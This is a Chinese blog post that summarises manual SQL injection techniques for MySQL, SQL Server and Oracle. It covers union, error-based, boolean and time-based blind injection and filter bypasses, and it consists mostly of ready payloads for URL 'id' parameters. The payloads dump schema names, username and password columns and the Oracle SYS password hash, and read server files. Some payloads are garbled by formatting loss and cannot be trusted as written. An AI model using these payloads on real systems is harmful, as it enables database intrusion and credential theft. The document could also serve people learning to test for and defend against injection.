• sql注入总结


    sql注入总结

    sql注入分类方式

    提交方式

    • GET
    • POST
    • COOKIE

    参数注入

    • 数字型
    • 字符型
    • 搜索型

    数据库类型

    • ACCESS
    • MySQL
      • MySQL数据库默认在数据库中存放一个 information_schema 库 ,要记住该库中的3个表名:
        • SCHEMATA:存放该用户创建的所有数据库的库名,记录库名的字段名为SCHEMA_NAME
        • TABLES:存放该用户创建的所有数据库的库名和表名,记录库名的字段为TABLE_SCHEMA,记录表名的字段为TABLE_NAME
        • COLUMNS:存放该用户所创建的所有库名、表名和字段名,记录库名的字段为TABLE_SCHEMATABLE_NAMECOLUMN_NAME
    • MSSQL
    • Oracle

    手工注入方法

    • 联合查询
    • 报错注入
    • 盲注
      • 时间盲注
      • 布尔盲注
    • 堆叠注入
    • 二次注入
    • 宽字节注入

    MySQL

    划分

    • 权限
      • root
      • 普通用户
    • 版本
      • mysql > 5.0
      • mysql < 5.0

    root权限

    • load_file和into outfile用户必须有FILE权限,并且还需要知道网站的绝对路径
      • 判断是否具有读写权限
        • and (select count(*) from mysql.user)>0#
        • and (select count(file_priv) from mysql.user)>#
      • Load_file() 该函数用来读取源文件的函数,只能读取绝对路径的网页文件
        • 注意:路径符号””错误 “”正确 “/”正确,转换成十六进制,不用“”
      • into outfile函数
        • 条件:1. 绝对路径 2.可以使用单引号

    MySQL联合查询

    注意:在使用union 语句查询时,要记得union两边的查询语句的字段数一致!!!!!!

    • 关于为什么让id=-1

      • 第一行的查询结果为空集,即union左边的select子句查询结果为 空,那么union右边的
        查询结果自然就成为了第一行,如:-1,0
        -1' union select 1,2,3--+
      • alt
    • 适用于mysql低于5.0版本

      • 判断是否可以注入

        • ?id=1 and 1=1,页面正常
          • ?id=1 and 1=2,页面空白
      • 获得查询语句中的字段数
        order by的方法来判断,(同样可以使用union select 1,2,3.....来猜测字段数)比如:

        • ?id=1 order by 4 页面显示正常
        • ?id=1 order by 5 页面出错,说明字段数等于4
      • 获得显示位

      在得知查询语句中查询的字段数后,可以获得显示位

      ?id=-1 union select 1,2,3,4 //比如,页面上出现了几个数字,分别是2,3,4,那么,这几个数字就被我们称作显示位。

      • 猜表名
        猜表名的方法是,在获得显示位的完整的地址后加上:from 表名,比如:

        • ?id=-1 union select 1,2,3,4 from users
          这样,当users表存在的话,页面就会显示正常,如果我们提交一个不存在的表名,页面就会出错。
      • 猜字段
        使用:concat(字段名)替换显示位的位置。

        • ?id=-1 union select 1,2,3,concat(username,password) from users
    • 适用于Mysql 5.0以上版本支持查表查列

      • 先判断是否可以注入

        • and+1=1,页面正常(用加号代替空格)
        • and+1=2,页面空白
      • 获得字段数:
        使用order by提交:

        • ?id=1 order by 4 正确。
        • ?id=1 order by 5 错误。
          那么,判断出字段数为4。
      • 获得显示位
        提交:

        • ?id=-1 +union+select+1,2,3,4
          显示位为:2,3,4
      • 注意:确定显示位,要用错误的数据,如?id=-1

      • 获取信息

        • ?id=-1 +union+select+1,2,3,version()
        • database()
        • user()
        • version()
        • database()
        • @@basedir 数据库安装路径
        • @@datadir 数据库路径
      • 获取所有数据库

        • select group_concat(schema_name) from information_schema.schemata
      • 查表

        • select table_name from information_schema.tables where table_schema=0x74657374(数据库名test的Hex) limit 0,1

          • (注意: 0x 开始的数据表示 16 进制)
          • 当显示位足够时,不需要limit
          • 经测试,该语句中,数据库名只能使用16进制形式
        • select group_concat(table_name) from information_schema.tables where table_schema='库名'

          • 库名可以用单引号或双引号括起
      • 查字段

        • select column_name from information_schema.columns where table_name=0x74657374 limit 0,1
        • select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表名'
          • 当知道库名时可将database() 替换为库名
      • 爆字段内容

        • select concat(username,password) from 表名
        • select group_concat(username,password) from 表名
          • 经测试,字段名替换为16进制数可以查询成功,如username替换为:0x757365726e616d65
    • 注意:在select数据时,我们往往需要将数据进行连接后进行回显。很多的时候想将多个数据或者多行数据进行输出的时候,需要使用字符串连接函数。在sqli中,常见的字符串连接函数有concat(),group_concat(),concat_ws()。

    MySQL报错注入

    原理分析

    • mysql暴错注入方法整理,通过floor,UpdateXml,ExtractValue,NAME_CONST,Error based Double Query Injection等方法。

      • floor报错:select count(*) from information_schema.tables group by concat((select version()),0x7e,floor(rand(0)*2)); 0x7e是16进制的~

        • 利用 floor () 的报错注入实际上是由 rand () , count () , group by 三个函数语句联合使用造成的

          • concat: 连接字符串功能

          • floor: 取float的整数值(向下取整)

          • rand: 用于产生0(包含)到1(不包含)的随机数

            • 可以给 rand () 传一个参数作为 rand () 的种子,指定了随机数的种子,那么多次查询的结果是一样的,如rand(0)
          • group by: 根据一个或多个列对结果集进行分组并有排序功能

            • 注意, group by 后跟的字段名是作为虚拟表的主键,主键不能重复,报错的主要原因是虚拟表的主键重复
          • floor(rand(0)*2): 随机产生0或1

        • 建立的表

        • 通过chengji这个字段来对表中数据进行分组

        可以看到我们出现了一个新的数据表,有chengji 、 count () 这两个字段,count () 字段下表示每个人的成绩,可以联想到 group by 子句的执行流程,最初时,chengji-count () 这个数据表是空的,通过一行一行读原数据表中的 chengji 字段,如果读到的 chengji 在 chengji-count () 数据表中不存在,就将它插入,并且将对应的 count () 赋为 1,如果存在,就将其对应的 count () +1,直至扫完整个数据表。

        • floor (rand ()2) 和 floor (rand (0)2) 表示产生 0 或者 1

          我们来比较下它们的区别:

          指定了随机数的种子,那么多次查询的结果是一样的

          不指定随机数,每次查询结果不一样

        • 执行语句select count(*) from information_schema.tables group by concat((select version()),0x7e,floor(rand(0)*2));

          当数据表记录大于三时,使用 group by floor (rand (0)*2) 一定报错

      • extractvalue () 报错:select chengji from users where id = '1' and (extractvalue('abcd',concat(0x7e,(select database()))));

        • 几个相关函数:

          • extractvalue():从目标 XML 中返回包含所查询值的字符串。

            • extractvalue () 能查询字符串的最大长度为 32,就是说如果我们想要的结果超过 32,就需要用 substring () 函数截取。
          • EXTRACTVALUE (XML_document, XPath_string);

            • 第一个参数:XML_document是 String 格式,为 XML 文档对象的名称,文中为 Doc 。

            • 第二个参数:XPath_string ( Xpath 格式的字符串)

            • 我们主要利用在第二个参数的位置,当正常查询时,第二个参数应该是 /xxx/xxx/xxx/… 这种形式。如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

              正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错

          • concat:返回结果为连接参数产生的字符串。

        • 操作:

          由图可见,当格式正常时,没有报错,使用concat()连接,导致格式出错,最终报错。

        • 结果超过32位时,使用substring

        select name from users where id=1 and (extractvalue('anything',concat('#',substring(hex((select database())),1,5))))

      • updatexml () 报错:select name from users where id=1 and (updatexml('anything',concat('~',(select database())),'anything'))

        • 相关函数:
          • UPDATEXML (XML_document, XPath_string, new_value);
            • 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 。
            • 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
            • 第三个参数:new_value,String格式,替换查找到的符合条件的数据 。
          • 作用:改变文档中符合条件的节点的值。
          • updatexml () 报错与 extractvalue () 报错类似,都是由于 xpath 格式错误报错,同样能查询字符串的最大长度为 32,同样在第二个参数出插入我们需要的语句代码。
        • 操作:

      • and GeometryCollection((selectfrom(selectfrom(select @@version)f)x))

      • and polygon((select*from(select name_const(version(),1))x))

      • and linestring((select * from(select * from(select user())a)b))

      • and multilinestring((select * from(select * from(select version())a)b));

      • and multipoint((select * from(select * from(select user())a)b));

      • and multipolygon((select * from(select * from(select user())a)b));

    MySQL盲注

    常见的布尔盲注场景有两种,一是返回值只有True或False的类型,二是Order by盲注。

    • 基于True或False的类型

      • 判断库名长度
        • id=1 and (select length(database()))=20 返回正常页面 长度20位
        • id=1 and length(database())=3
      • 判断库名组成
      • id=1 and ord(substr((SELECT username FROM users limit 0,1),1,1))=97
        //截取username第一个数据的ascii值
        • ?id=1 and substr(database(),1,1)='s'
          //判断数据库的第一个字母是否为s
      • 判断表名的组成
        id=1 and substr((select table_name from information_schema.tables where table_schema='库名' limit 0,1),1,1)='e'--+
      • 判断字段名的组成
        ?id=1 and substr((select column_name from information_schema.columns where table_name='表名' limit 0,1),1,1)='e'--+
    • 注:substr是截取的意思,每次只返回一个值,特别注意,limit是从0开始,substr是从1开始

    • Order by盲注

      • 原理:order by rand(True)和order by rand(False)的结果排序是不同的
    • 基于时间型注入

    有5种常见类型

    • sleep()
      • 1 xor (if(ascii(mid(user()from(1)for(1)))='r',sleep(5),0))
        1 xor if(ascii(substr(user(),1,1)) like 1124,benchmark(1000000, md5('1')),'2')
      • ?id=1 and if(length(database())>3,sleep(5),1)--+
      • 注:语句 if(expr1,expr2.expr3),其含义为,如果expr1是true,则返回值为expr2,否则返回值为expr3
    • benchmark()

    通过大量运算来模拟延时

    • 笛卡尔积

    计算笛卡尔积也是通过大量运算模拟延时

    • get_lock

    属于比较鸡肋的一种时间盲注,需要两个session,在第一个session中加锁:然后再第二个session中执行查询:

    • rlike+rpad


    二次注入

    SQLServer

    权限

    • SA权限
      • 数据库操作,文件管理,命令执行,注册表读取等
    • Db权限
      • 文件管理,数据库操作等
    • Public权限
      • 数据库操作

    SQLServer 联合查询

    • 判断是否存在注入

      ?id=1 and 1=1-- 返回正确
      ?id=1 and 1=2-- 返回错误

    • 获取字段数

      ?id=1 order by 2-- 返回正确页面

      ?id=1 order by 3-- 返回错误页面 字段长度为2

    • 查看数据库版本
      ?id=1 and 1=2 union select db_name(),null //获得当前数据库

    • 查看表名
      ?id=1 and 1=2 union select top 1 TABLE_NAME ,2 from INFORMATION_SCHEMA.TABLES where table_name not in ('users')

    • 查看列名
      ?id=1 and 1=2 union select top 1 column_name ,2 from information_schema.columns where table_name ='users' and column_name not in ('uname')

    • 获取数据

    SQLServer 报错注入

    • 获取表名
      ?id=4' and 1>(select top 1 TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_NAME not in ('admin') )--

    • 获取列名
      ?id=4' and 1>(select top 1 COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='admin' and column_name not in ('id')) --

    • 获取数据
      ?id=4' and 1=(select top 1 pwd from admin) --

    • 获取数据库信息
      ?id=1' and 1=(select @@version)-- //SQL Server 2000
      ?id=1' and 1=(select db_name()) //当前使用的数据库

    SQLServer 盲注

    • 猜表名

      ?id=1 and (select count() from sysobjects where name in (select top 1 name from sysobjects where xtype='u') and len(name)=7)=1 -- //获取第一个表的长度7

      ?id=1 and (select count() from sysobjects where name in (select top 1 name from sysobjects where xtype='u') and ascii(substring(name,1,1))=116)=1 -- //截取第一个表第一位的ascii码

      ?id=1 and (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u' and name not in ('users')) and ascii(substring(name,1,1))>115)=1 --//猜第二个表的第一位ASCII值
      得到表名,进一步猜解字段

    • 猜字段
      id=1 and
      (select count() from syscolumns where name in (select top 1 name from syscolumns where id=(select id from sysobjects where name='users')) and ascii(substring(name,1,1))=117)=1
      //获取users表第一个字段的ASCII值

      id=1 and
      (select count(*) from syscolumns where name in (select top 1 name from syscolumns where id=(select id from sysobjects where name='users') ) and name not in ('upass') and ascii(substring(name,1,1))>90)=1 --
      //获取user表第二个字段的第一位ASCII值

    • 猜数据
      id=1 and (ascii(substring((select top 1 uname from users),1,1)))=33 --
      //获取users表中uname字段的第一位ASCII值

    Oracle

    联合查询

    • Union select null,null,null 从第一个null开始加’null’,得到显示位
      Union select null,null,null from dual 返回正确,存在dual表
      Union Select tablespace_name from user_tablespaces //查库
      Union Select table_name from user_tables where rownum = 1 and table_name<>’news’ //查表
      Union Select column_name from user_tab_columns where table_name=’users’ //查列
      ?id=1 order by 1-- //获取字段数
      and+1=1+union+all+select+(SELECT banner FROM v(version where rownum=1)+from+dual--//获取数据库版本 and+1=1+union+all+select+(select user from dual where rownum=1)+from+dual-- //获取当前连接数据库的用户名 union+all+select+(select password from sys.user) where rownum=1 and name='SYS')+from+dual-- -- //获取用户SYS密文密码
      union+all+select+(SELECT name FROM v$database)+from+dual-- //获取库名
      and+1=1+union+all+select+(select table_name from user_tables where rownum=1)+from+dual--//获取第一个表名

    手工显错注入

    • 最大的区别就是utl_inaddr.get_host_address这个函数,10g可以调用,11g需要dba高权限

      //判断是否是oracle
      ?id=1 and exists(select * from dual)--
      //获取库名
      ?id=1 and 1=utl_inaddr.get_host_address((SELECT name FROM v(database))—- //获取数据库服务器所在ip ?id=1 and 1=ctxsys.drithsx.sn(1,(select UTL_INADDR.get_host_address from dual where rownum=1))-- ?id=1 and 1= CTXSYS.CTX_QUERY.CHK_XPATH((select banner from v)version where rownum=1),'a','b')--
      ?id=1 or 1=ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select banner from v$version where rownum=1),'a','b')--
      ?id=1 and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --
      ?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual))--

    盲注

    • 基于布尔类型的盲注
      • ?id=7782' and length((SELECT name FROM v(database))=4-- 获取数据库名长度 ?id=7782' and ascii(substr((SELECT name FROM v)database),1,1))=79--
        获取数据库名第一位为O
    • 基于时间延迟的盲注
      • ?id=7782' and 1=(CASE WHEN (ascii(substr((SELECT name FROM v(database),1,1))=79) THEN 1 ELSE 2 END)-- ?id=7782' AND 1=(CASE WHEN (ascii(substr((SELECT name FROM v)database),1,1))=79) THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(108)||CHR(103)||CHR(102)||CHR(102),5) ELSE 1 END)--

        MSSQL

    • 初步判断是否是mssql
      ;and user>0

    绕过总结

    基础绕过

    • 大小写绕过

      用于过滤时没有匹配大小写的情况:SelECt * from table;

    • 双写绕过

      用于将禁止的字符直接删掉的过滤情况如:

      preg_replace(‘/select/‘,’’,input)则可用seselectlect *from xxx来绕过,在删除一个select后剩下的就是select* from xxx

      添加注释

      /*! */类型的注释,内部的语句会被执行

  • 相关阅读:
    vue 相对其他热门 框架 优点 --- 待续
    vue router 只需要这么几步
    正则表达式
    MySQL数据库优化的八种方式
    Django REST Framework 最佳实践
    Node.js ZLIB
    Node.js 虚拟机
    Node.js 实用工具
    Node.js URL
    Node.js UDP/Datagram
  • 原文地址:https://www.cnblogs.com/hacker-snail/p/13903628.html
Copyright © 2020-2023  润新知